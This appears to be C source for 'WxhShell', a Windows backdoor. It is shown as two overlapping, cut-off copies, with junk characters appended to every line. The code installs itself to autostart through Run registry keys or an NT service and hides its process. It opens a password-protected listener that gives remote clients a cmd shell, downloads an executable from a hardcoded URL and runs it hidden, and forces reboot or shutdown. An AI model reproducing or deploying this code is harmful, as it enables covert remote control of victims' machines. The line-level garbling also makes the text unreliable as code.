    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <%N*IE"q  
    if(Boot(SHUTDOWN)) n/ZX$?tKAK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -A^o5s  
    else { jRN>^Ur;g  
    closesocket(wsh); f=IF_|@^S  
    ExitThread(0); ):]5WHYg  
    } vyvb-oz;u  
    break; D4O^5?F)|  
    } )8`i%2i=  
  // 获取shell -)Hc^'.  
  case 's': { {_R{gpj'  
    CmdShell(wsh); Y~k,AJ{ ^  
    closesocket(wsh); &)izh) FA  
    ExitThread(0); _%wB*u,X  
    break; `O]$FpO  
  } <<PXh&wu0  
  // 退出 S1o[)q   
  case 'x': { 6>gm!6`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3Dx@rW\  
    CloseIt(wsh); - VdCj%r>  
    break; AfpC >>=@  
    } NXMZTZpB7  
  // 离开 O$7cN\Z  
  case 'q': { > zfFvx_q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :;jRAjq"  
    closesocket(wsh); i8A-h6E  
    WSACleanup(); ;]l`Q,*OXb  
    exit(1); "^oU&]KQJ  
    break; cI'su?  
        } +y^'\KN  
  } ^fj30gw7\5  
  } A_Y5{6@  
Oe21noL  
  // 提示信息 `Y3\R#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O4cBn{Dq9  
} sD$K<nyz  
  } `LNKbTc[m  
Pa'N)s<  
  return; SmUiH9qNd,  
} QYEGiT   
]sI\.a  
// shell模块句柄 \c1>15  
int CmdShell(SOCKET sock) bPIo9clq  
{ 9 ^=kt 2[  
STARTUPINFO si; QJSi|&Rx&?  
ZeroMemory(&si,sizeof(si));  K{9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +k V$ @qH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7- |N&u  
PROCESS_INFORMATION ProcessInfo; uFuP%f!yY  
char cmdline[]="cmd"; LbuhKL}VN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KB {IWu  
  return 0; Wf~PP;  
} VAp 1{  
j_.tg7X  
// 自身启动模式 3G'cDemc  
int StartFromService(void) oA8A @,-L  
{ h!`KX2~  
typedef struct p) ?6~\F:  
{ Js(MzL  
  DWORD ExitStatus; )"]( ?V  
  DWORD PebBaseAddress; a1EQ.u  
  DWORD AffinityMask; ';m;K (g  
  DWORD BasePriority; iO"ZtkeNr  
  ULONG UniqueProcessId; @O|`r(le  
  ULONG InheritedFromUniqueProcessId; :`c@&WF8  
}   PROCESS_BASIC_INFORMATION; f?TS#jG4}  
( j:eky  
PROCNTQSIP NtQueryInformationProcess; +U iJWO  
n(.L=VuXn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \ 0Ba?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [<sN "  
\wR\i^  
  HANDLE             hProcess; bc;?O`I<  
  PROCESS_BASIC_INFORMATION pbi; o*3\xg  
kG5Uc8 3#G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "-\8Y>E  
  if(NULL == hInst ) return 0; 7d/I"?=|rA  
BY':R-~(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  pLM?m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nd[Ja_h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l5D4 ?`|  
GcG$>&,  
  if (!NtQueryInformationProcess) return 0; 8T8]gM  
PAH#yM2Ic  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  yyGn <  
  if(!hProcess) return 0; Gz4LjMQ &  
7eW6$$ju,N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g1 =>u  
nW`] =  
  CloseHandle(hProcess); ^V7)V)Z;0  
|pBvy1e4)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cYBjsN(!A|  
if(hProcess==NULL) return 0; 6!8uZ>u%Vg  
)@<HG$#  
HMODULE hMod; {Es1bO  
char procName[255]; >U(E \`9D  
unsigned long cbNeeded; ! %B-y 9\  
oi8M6l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cC]]H&'Hg+  
i(*fv(z  
  CloseHandle(hProcess); 9Q1w$t~Y  
ENI|e,'[  
if(strstr(procName,"services")) return 1; // 以服务启动 |XMWi/p  
,!X:wY}dW  
  return 0; // 注册表启动 ["e;8H[K)%  
} umt`0m. :  
,(]k)ym/  
// 主模块 pD }b$  
int StartWxhshell(LPSTR lpCmdLine) TmK8z  
{ ?A04qk  
  SOCKET wsl; qE8Di\?  
BOOL val=TRUE; $ab{GxmX'4  
  int port=0; Sj IDzNI5  
  struct sockaddr_in door; z2Z}mktP  
BU7QK_zT:  
  if(wscfg.ws_autoins) Install(); h)aLq  
k=G c#SD5_  
port=atoi(lpCmdLine); nU0##  
@H^\PH?pp  
if(port<=0) port=wscfg.ws_port; x=X&b%09  
r?dkE=B  
  WSADATA data; bR$5G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J% ZM V  
$ e.Bz `  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a54S,}|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); na 0Zb  
  door.sin_family = AF_INET; mX, @yCI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); er2;1TW3E  
  door.sin_port = htons(port); j,Qb'|f5  
d,Oe3?][0p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~M1T @Mv  
closesocket(wsl); HGi%b5:<=M  
return 1; t3C#$ >  
} q^7=/d8  
9$}> O]  
  if(listen(wsl,2) == INVALID_SOCKET) { #WGyQ u  
closesocket(wsl); /iJsa&W}  
return 1; 6j!a*u:}"  
} ;iJ}[HUo  
  Wxhshell(wsl); ywB0 D`s'  
  WSACleanup(); h 0)oQrY  
_Y$v=!fY&  
return 0; <p+7,aE_  
RWoVN$i>  
} R/ x-$VJ  
i8DYC=r  
// 以NT服务方式启动 y)TBg8Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Bo1 t}#7  
{ ,dF Y]  
DWORD   status = 0; 2vddx<&  
  DWORD   specificError = 0xfffffff; dj}P|v/;z  
07:h4beT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #-{ljjMQI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G^SDB!/@J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 85Kf>z::c  
  serviceStatus.dwWin32ExitCode     = 0; )bpdj,  
  serviceStatus.dwServiceSpecificExitCode = 0; AgB$ w4  
  serviceStatus.dwCheckPoint       = 0; <y"lL>JR  
  serviceStatus.dwWaitHint       = 0; - s2Yhf  
Q5IN1 ^=HF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6Q&i=!fQ  
  if (hServiceStatusHandle==0) return; &4)PW\ioY  
0UGAc]!/RZ  
status = GetLastError(); 238z'I+$G/  
  if (status!=NO_ERROR) zm4e+v-  
{ m`b:#z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ie7TO{W  
    serviceStatus.dwCheckPoint       = 0; /b6j<]H  
    serviceStatus.dwWaitHint       = 0; PWfd<Yf!  
    serviceStatus.dwWin32ExitCode     = status; BZjL\{IW  
    serviceStatus.dwServiceSpecificExitCode = specificError; W 9bpKmc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6)FM83zk)K  
    return; w;J#+ik  
  } yA`,ns&n  
:K(+ KN(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RER93:(  
  serviceStatus.dwCheckPoint       = 0; k9c`[M  
  serviceStatus.dwWaitHint       = 0; Z'm( M[2K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |>-0q~  
} zOJzQZ~  
v[a4d&P  
// 处理NT服务事件,比如:启动、停止 ZB5NTNf>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u!b0 <E  
{ 3ZvQUH/{W  
switch(fdwControl) v{8r46Y~Z)  
{ maV*+!\  
case SERVICE_CONTROL_STOP: a`Q-5* \;z  
  serviceStatus.dwWin32ExitCode = 0; SL_JA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ppx4#j  
  serviceStatus.dwCheckPoint   = 0; 5 L-6@@/  
  serviceStatus.dwWaitHint     = 0; zCu+Oi6  
  { eEeK ] 8@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gV'=u z v  
  } %*Yb J_j7  
  return; tcI Z 2H%  
case SERVICE_CONTROL_PAUSE: +Lo,*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uiWo<}t}{  
  break; I#W J";kqB  
case SERVICE_CONTROL_CONTINUE: VY0-18 o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s##XC^;p[  
  break; T'N/A9{q  
case SERVICE_CONTROL_INTERROGATE: gpCWXz')i  
  break; &@qB6!^  
}; V~t; J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P+0 -h  
} p#gf^Y5  
cWI7];/d;  
// 标准应用程序主函数 5)gC<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a JQ_V  
{ 2}5@: cwR+  
c2d1'l]n  
// 获取操作系统版本 nNRc@9Lt  
OsIsNt=GetOsVer(); 2V$YZSw6q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5L\Im^  
@X_)%Y-^O  
  // 从命令行安装 e^hI[LbNC  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8=mx5Gwz-  
Nm3CeU  
  // 下载执行文件 \r &(l1R  
if(wscfg.ws_downexe) { CR-2>,*a9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F5\{`  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^YEMR C  
} ^5-SL?E  
/)r[}C0   
if(!OsIsNt) { Pa ^_ s  
// 如果时win9x,隐藏进程并且设置为注册表启动 0EC/l OS  
HideProc(); ,4(m.P10  
StartWxhshell(lpCmdLine); WX $AOnEv  
} ?nf4K/IjZ!  
else MhN 8'y(  
  if(StartFromService()) ?6:e%YT  
  // 以服务方式启动 jf& oN]sZ  
  StartServiceCtrlDispatcher(DispatchTable); m .^WSy  
else hTQ]xN)  
  // 普通方式启动 e ,A9N%M  
  StartWxhshell(lpCmdLine); @%6"xnb `  
u/5)Yx+5_  
return 0; DF"*[]^[  
} So#>x5dL  
z>spRl,dr  
1*B'o<?P1  
.L_ Hk  
=========================================== $XFFNE`%  
No]#RvEd3  
fc%C!^7  
d ewN\  
-nB. .q  
h9+ 7 6  
" <{.pYrn  
H`T}k+e2-N  
#include <stdio.h> JiiYl&#  
#include <string.h> /tqe:*  
#include <windows.h> $XrX(l5  
#include <winsock2.h> Y,X0x-  
#include <winsvc.h> \~""<*Hz  
#include <urlmon.h> lq)[  
cUU"*bA#  
#pragma comment (lib, "Ws2_32.lib") 7i9wfc h$U  
#pragma comment (lib, "urlmon.lib") \}7xgQ>oV  
>+*lG>!z  
#define MAX_USER   100 // 最大客户端连接数 w-``kID  
#define BUF_SOCK   200 // sock buffer Oi~.z@@  
#define KEY_BUFF   255 // 输入 buffer !Ee&e~"  
D*)"?L G  
#define REBOOT     0   // 重启 (}CA?/  
#define SHUTDOWN   1   // 关机 "D ivsq^  
05;J7T<  
#define DEF_PORT   5000 // 监听端口 iM{cr&0  
<;NxmO<%\  
#define REG_LEN     16   // 注册表键长度 :Y&h'FGZm  
#define SVC_LEN     80   // NT服务名长度 F=$U.K~1?  
.c_qMTm"  
// 从dll定义API r6}-EYq=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |TuFx=~5v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .WW|v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iMp_1EXe  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !A"-9OS2  
^L's45&_  
// wxhshell配置信息 \-:4TuU  
struct WSCFG { Z]^O=kX7k  
  int ws_port;         // 监听端口 %eE 6\f%g  
  char ws_passstr[REG_LEN]; // 口令 D}bCMN <  
  int ws_autoins;       // 安装标记, 1=yes 0=no q_0,KOGW  
  char ws_regname[REG_LEN]; // 注册表键名 a8Z{-=)  
  char ws_svcname[REG_LEN]; // 服务名 WD#7Q&T(;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @Y+9")?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '_o(I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 < #7j~<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1zY" Uxp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q]m$%>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Iyt.`z  
J|dj`Z ?  
}; @86I|cY  
H`8}w{ft&  
// default Wxhshell configuration qjLFgsd  
struct WSCFG wscfg={DEF_PORT, Ert` ]s~  
    "xuhuanlingzhe", DgC;1U'  
    1, nnMRp7LQ-  
    "Wxhshell", ((]Sy,rdk  
    "Wxhshell", &+8cI^ kp  
            "WxhShell Service", 'V:ah3 8  
    "Wrsky Windows CmdShell Service", e>$E67h<~  
    "Please Input Your Password: ", FeuqqZ\=&  
  1, <0H^2ekd  
  "http://www.wrsky.com/wxhshell.exe", b'G!)n  
  "Wxhshell.exe" =' #yG(h  
    }; etH]-S  
|&rxDf}W  
// 消息定义模块 Np R&`]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ykG^(.E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hSSFmEpr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b`DPf@p^kc  
char *msg_ws_ext="\n\rExit."; x=VLRh%Gvl  
char *msg_ws_end="\n\rQuit."; R8fB 8 )  
char *msg_ws_boot="\n\rReboot..."; q!}O+(kt  
char *msg_ws_poff="\n\rShutdown..."; ~_"/\; 1  
char *msg_ws_down="\n\rSave to "; mO^vKq4r.  
~Z x_"  
char *msg_ws_err="\n\rErr!"; _9"%;:t  
char *msg_ws_ok="\n\rOK!"; $oH?7sj  
of?'FrU  
char ExeFile[MAX_PATH]; X?q,m4+  
int nUser = 0; O4Hc"v  
HANDLE handles[MAX_USER]; ?-9It|R  
int OsIsNt; 0o-KjX?kP  
qX!P:M  
SERVICE_STATUS       serviceStatus; .06[*S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |1^ !rHg  
kY`L[1G$  
// 函数声明 _0qp!-l}  
int Install(void); Py-}tFr  
int Uninstall(void); _tpqo>  
int DownloadFile(char *sURL, SOCKET wsh); Y'2 |GJc2  
int Boot(int flag); Fs;_z9ej-u  
void HideProc(void); yX|0 R H  
int GetOsVer(void); /FA0(< -}  
int Wxhshell(SOCKET wsl); KJN{p~Q  
void TalkWithClient(void *cs); e'1}5Ky  
int CmdShell(SOCKET sock); Ra^GbT|Z  
int StartFromService(void); wx)Yl1 C  
int StartWxhshell(LPSTR lpCmdLine); c*`= o( S  
0?8{q{ o+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >TZyax<:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =aE!y5  
{/SLDyf%Z  
// 数据结构和表定义 ekhx?rz  
SERVICE_TABLE_ENTRY DispatchTable[] = X\'+);Z  
{ W&8)yog.  
{wscfg.ws_svcname, NTServiceMain}, cAc>p-y%  
{NULL, NULL} <46fk*  
}; V<G=pPC'H  
$&[}+??  
// 自我安装 x6B_5eF  
int Install(void) h[I~D`q)v  
{ *S=zJyAO  
  char svExeFile[MAX_PATH]; O #S27.  
  HKEY key; #&ZwQw  
  strcpy(svExeFile,ExeFile); 2';f8JLY  
.@(9v.:_u  
// 如果是win9x系统,修改注册表设为自启动 W=@]YI  
if(!OsIsNt) { !_My]>S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8\@&~&(y:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nA>kJSL'$  
  RegCloseKey(key); [`Dv#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .3yxg}E>{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;33LuD<h.  
  RegCloseKey(key); Q,z^eMk'd:  
  return 0; c @~j}(A  
    } E8s&.:;+  
  } U<H< !NV  
} yCT:U&8%F  
else { 6`Af2Y_  
eW^_YG%(  
// 如果是NT以上系统,安装为系统服务 4` zfrT^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O+Qt8,  
if (schSCManager!=0) ts3BmfR?  
{ Km9Y_`?  
  SC_HANDLE schService = CreateService 3G)Wmmh"a  
  ( XF 8$D  
  schSCManager, YFY$iN~B,  
  wscfg.ws_svcname, 0755;26Bx  
  wscfg.ws_svcdisp, WN%KA TA  
  SERVICE_ALL_ACCESS, C|W\qXCqu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^%pM$3ov  
  SERVICE_AUTO_START, *iVCHQ~  
  SERVICE_ERROR_NORMAL, OfSHZ;,  
  svExeFile, <"Cacf g  
  NULL, yC]X&1,:z  
  NULL, ]5}C@W@_  
  NULL, 46cd5SLK  
  NULL, _mJnhT3  
  NULL DHlCus=ic  
  ); i-`n5,  
  if (schService!=0) amY\1quD|  
  { kLw07&H  
  CloseServiceHandle(schService); WfDpeXdO  
  CloseServiceHandle(schSCManager); sHSD`mYq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LCMCpEtY*K  
  strcat(svExeFile,wscfg.ws_svcname); 1IRlFC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aOH$}QnS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Eu^? e  
  RegCloseKey(key); {Bb:S"7NX  
  return 0; {q-<1|xj/J  
    } "Wz#<! .r  
  } xF4>G0  
  CloseServiceHandle(schSCManager); uYv"5U]MFv  
} ?-`G0(  
} toCxY+"nbU  
sw'?&:<"Ow  
return 1; 0[qU k(=}[  
} s;'j n_,0  
|_^A$Hv  
// 自我卸载 ] _WB^  
int Uninstall(void) _z$lg]q  
{ sm~{fg  
  HKEY key; ~;*SW[4  
SXW8p>1Jw  
if(!OsIsNt) { ,c;u]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :DlgNR`bq  
  RegDeleteValue(key,wscfg.ws_regname); t<|S7EqIL  
  RegCloseKey(key); &(] @L\A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1dy>a=W  
  RegDeleteValue(key,wscfg.ws_regname); z!r-g(^G  
  RegCloseKey(key); 7z=zJ4C  
  return 0; z"@yE*6  
  } 9svnB@  
} y.l`NTT] <  
} "#a_--"k9  
else { t)*MLg<C  
R\B-cU[,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nf7l}^/UE  
if (schSCManager!=0) eXqS9`zKr  
{ d }"Dp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :q xd])-  
  if (schService!=0) Xo{|m[,  
  { Gs% cod  
  if(DeleteService(schService)!=0) { q@}eYQ=P|e  
  CloseServiceHandle(schService); !e}LB%zf  
  CloseServiceHandle(schSCManager); JToc("V  
  return 0; &GC`4!H  
  } dvAvG.;U  
  CloseServiceHandle(schService); wK_I"  
  } $~[k?D  
  CloseServiceHandle(schSCManager); Ie[8Iot?bn  
} tCJ+OU5/  
} H|1owmbD  
I}#_Jt3R  
return 1; 5gPcsn"D  
} fJb<<6C  
Nl3@i`;  
// 从指定url下载文件 ~ "^]\3#  
int DownloadFile(char *sURL, SOCKET wsh) =X0"!y"  
{ YM idSfi  
  HRESULT hr; %YI Xk1  
char seps[]= "/"; = 2 3H/  
char *token; 43"` gF]  
char *file; V?a+u7*U&  
char myURL[MAX_PATH]; X_}2xo|T  
char myFILE[MAX_PATH]; |,&5.|E 7  
\m3;<A/3n  
strcpy(myURL,sURL); xMAfa>]{n  
  token=strtok(myURL,seps); Iq@:n_~  
  while(token!=NULL) ZZ<uiN$  
  { 5w\>Whbd  
    file=token; ;<JyA3i^V,  
  token=strtok(NULL,seps); nty^De%  
  } 1@j0kTJ~m  
c Bl F  
GetCurrentDirectory(MAX_PATH,myFILE); o Q!56\R  
strcat(myFILE, "\\"); *vL2n>HH  
strcat(myFILE, file); GvL)SVv?  
  send(wsh,myFILE,strlen(myFILE),0); E,F'k2yU  
send(wsh,"...",3,0); 1 h.=c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )}-,4Iu%  
  if(hr==S_OK) &B</^:  
return 0; S}/?L m}  
else *nv%~t   
return 1; 7gLN7_2  
: "|M  
} V'XmMn)!  
I.f)rMl+h  
// 系统电源模块 \,-t]$9  
int Boot(int flag) e;y\v/A  
{ yEnurq%J  
  HANDLE hToken; 5Iv3B|u  
  TOKEN_PRIVILEGES tkp; . C g2Y  
1ke H1[  
  if(OsIsNt) { FCC9Ht8U?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }/ p>DMN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &i&k 4  
    tkp.PrivilegeCount = 1; QJL%J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DS@ZE Q`F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lG\6z"K  
if(flag==REBOOT) { QEe\1>1"&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }=1#ANM1  
  return 0; $*035f  
} bZ-"R 6a$  
else { #}/YnVk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?R7>xrp5  
  return 0; vtvF)jlX  
} "ooq1 0P  
  } ionFPc].  
  else { Sn I-dXNF  
if(flag==REBOOT) {  k3[%pS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) He#5d!cf:M  
  return 0; xz-z" 8d  
} uQwKnD?F+e  
else { MZyzc{c,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,t`u3ykh  
  return 0; 5'JONw'\  
} Qi 3di  
} Vv"JN?dHi  
aZ[ aZU  
return 1; 1:7 uS.  
} 82S?@%}#J  
e)pQh& uD  
// win9x进程隐藏模块 y4%u< /  
void HideProc(void) tE i-0J  
{ E?{{z4  
-^C't_Q o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6TN!63{Cz  
  if ( hKernel != NULL ) ^BDM'  
  { a J%&Y5L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %?GLMf7)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RoV^sbWFt  
    FreeLibrary(hKernel); V/X4WZs|i  
  } k<aKT?Ek>  
cs'ylGH  
return; (=hXt=hZ  
} Mw=sW5Z  
E\3fL"lM  
// 获取操作系统版本 NQ7 j{dJ?  
int GetOsVer(void) ~FnB!Mh}?  
{ ^ :%"Z&  
  OSVERSIONINFO winfo; -Wp69DP6q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bPaE;?m  
  GetVersionEx(&winfo); ;.Lf9XJ   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hxIG0d!o  
  return 1; dQ&S&SW  
  else f L @rv  
  return 0; K+9oV[DMs  
} (7C&I- l  
gmU_# J%~  
// 客户端句柄模块 h/I'9&J>*  
int Wxhshell(SOCKET wsl) I! s&m%s  
{ .~ )[>  
  SOCKET wsh; x$Gu)S  
  struct sockaddr_in client; tVSURYA8  
  DWORD myID; :)!X%2 _  
yZ {H  
  while(nUser<MAX_USER) Ee&A5~  
{ / v";u)  
  int nSize=sizeof(client); Y,-?oBY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aBo8?VV]8  
  if(wsh==INVALID_SOCKET) return 1; ]_cBd)3P}  
YeN /J.R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ttEQgkd`  
if(handles[nUser]==0) Z3:M%)e_u$  
  closesocket(wsh); I6bekOvP  
else G8c 8`~t  
  nUser++; Irk@#,{<  
  } HPc7Vo(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); deD%E-Ja  
r"yA=d'c  
  return 0; JsNqijVC  
} F[q:jY  
ye-o'%{  
// 关闭 socket 0_Gi1)  
void CloseIt(SOCKET wsh) +f{CfWIKs  
{ .'3&!#3  
closesocket(wsh); JNQiCK,)}M  
nUser--; l `D>h2]  
ExitThread(0); [kdt]+'+  
} F-!,U)  
7qfo%n"  
// 客户端请求句柄 X!+#1NPM  
void TalkWithClient(void *cs) vmI2o'zi  
{ h @{U>U7  
s|7(VUPL  
  SOCKET wsh=(SOCKET)cs; k+X=8()k  
  char pwd[SVC_LEN]; rlj @ '  
  char cmd[KEY_BUFF]; }E=:k&IDPB  
char chr[1]; D`nW9i7  
int i,j; Yg 8AMi  
2ckAJcpEb/  
  while (nUser < MAX_USER) { d/Q}I[J.u  
kF:4 [d  
if(wscfg.ws_passstr) { Wa#!O$u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8&15k A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); . &dh7` l  
  //ZeroMemory(pwd,KEY_BUFF); 2o0.ttBAqZ  
      i=0; 0\ G`AO;D  
  while(i<SVC_LEN) { V=<OV]0  
Pn)^mt  
  // 设置超时 ^;J@]&[ ~  
  fd_set FdRead; l0c ws`V  
  struct timeval TimeOut; 3"2 8=)o  
  FD_ZERO(&FdRead); 5):2;hk  
  FD_SET(wsh,&FdRead); l_ycYD$ZA  
  TimeOut.tv_sec=8; O34'c_ fZ  
  TimeOut.tv_usec=0; C -@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -4P2 2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _pu G?p  
= > .EDL.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a6K1-SR^6)  
  pwd=chr[0]; "=l<%em  
  if(chr[0]==0xd || chr[0]==0xa) { P;%4Imq3  
  pwd=0; 7aH E:Dnwp  
  break; liEb(<$a  
  } 9N(<OY+Dgm  
  i++; Dq/ _#&S  
    } %B^nQbNDM  
<VP@#  
  // 如果是非法用户,关闭 socket |yE_M-Nc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F...>%N$  
} (mq 7{ ;7y  
JpVV0x/Q/_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2ql7*g?Uq@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +P C<#  
K&(}5`H0=  
while(1) { 5#~ARk*?a  
SB#YV   
  ZeroMemory(cmd,KEY_BUFF); 0- GA,I_  
PV?XpT  
      // 自动支持客户端 telnet标准   {I s?>m4  
  j=0; v:s.V>{"S  
  while(j<KEY_BUFF) { QcyYTg4i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ny:c&XS  
  cmd[j]=chr[0]; Lp\89tB>  
  if(chr[0]==0xa || chr[0]==0xd) { &]VCZQL  
  cmd[j]=0; fM jn8.  
  break; S5eQHef  
  } zx7*Bnu0  
  j++; L@*0wx`fU  
    } b*4[)Yg4  
&I8,<(`  
  // 下载文件 ,|?-\?I  
  if(strstr(cmd,"http://")) { H-%)r&"vn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MF>1u%  
  if(DownloadFile(cmd,wsh)) 27b7~!  
